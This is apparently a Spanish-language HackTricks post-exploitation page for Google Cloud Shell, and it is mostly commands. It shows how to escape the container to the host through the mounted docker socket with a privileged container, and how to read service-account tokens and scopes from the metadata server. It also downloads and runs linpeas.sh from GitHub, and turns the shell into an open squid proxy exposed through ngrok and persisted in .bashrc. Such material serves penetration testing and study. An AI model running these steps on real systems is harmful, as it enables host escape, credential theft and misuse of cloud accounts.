GCP - Cloud Shell Post Exploitation

Apoya a HackTricks

Cloud Shell

Para más información sobre Cloud Shell consulta:

GCP - Cloud Shell Enum

Escape de Contenedor

Ten en cuenta que Google Cloud Shell se ejecuta dentro de un contenedor, puedes escapar fácilmente al host haciendo:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

Esto no se considera una vulnerabilidad por parte de Google, pero te da una visión más amplia de lo que está sucediendo en ese entorno.

Además, ten en cuenta que desde el host puedes encontrar un token de cuenta de servicio:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

Con los siguientes alcances:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

Enumerar metadatos con LinPEAS:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

Después de usar https://github.com/carlospolop/bf_my_gcp_permissions con el token de la Cuenta de Servicio no se descubrió ninguna permiso...

Úsalo como Proxy

Si deseas usar tu instancia de google cloud shell como proxy, necesitas ejecutar los siguientes comandos (o insertarlos en el archivo .bashrc):

sudo apt install -y squid

Solo para que lo sepas, Squid es un servidor proxy http. Crea un squid.conf archivo con la siguiente configuración:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

copia el squid.conf archivo a /etc/squid

sudo cp squid.conf /etc/squid

Finalmente, ejecuta el servicio squid:

sudo service squid start

Usa ngrok para que el proxy esté disponible desde afuera:

./ngrok tcp 3128

Después de ejecutar, copia la url tcp://. Si deseas ejecutar el proxy desde un navegador, se sugiere eliminar la parte tcp:// y el puerto, y colocar el puerto en el campo de puerto de la configuración del proxy de tu navegador (squid es un servidor proxy http).

Para un mejor uso al inicio, el archivo .bashrc debe tener las siguientes líneas:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

Las instrucciones fueron copiadas de https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. Consulta esa página para otras ideas locas para ejecutar cualquier tipo de software (bases de datos e incluso Windows) en Cloud Shell.

Apoya a HackTricks

Last updated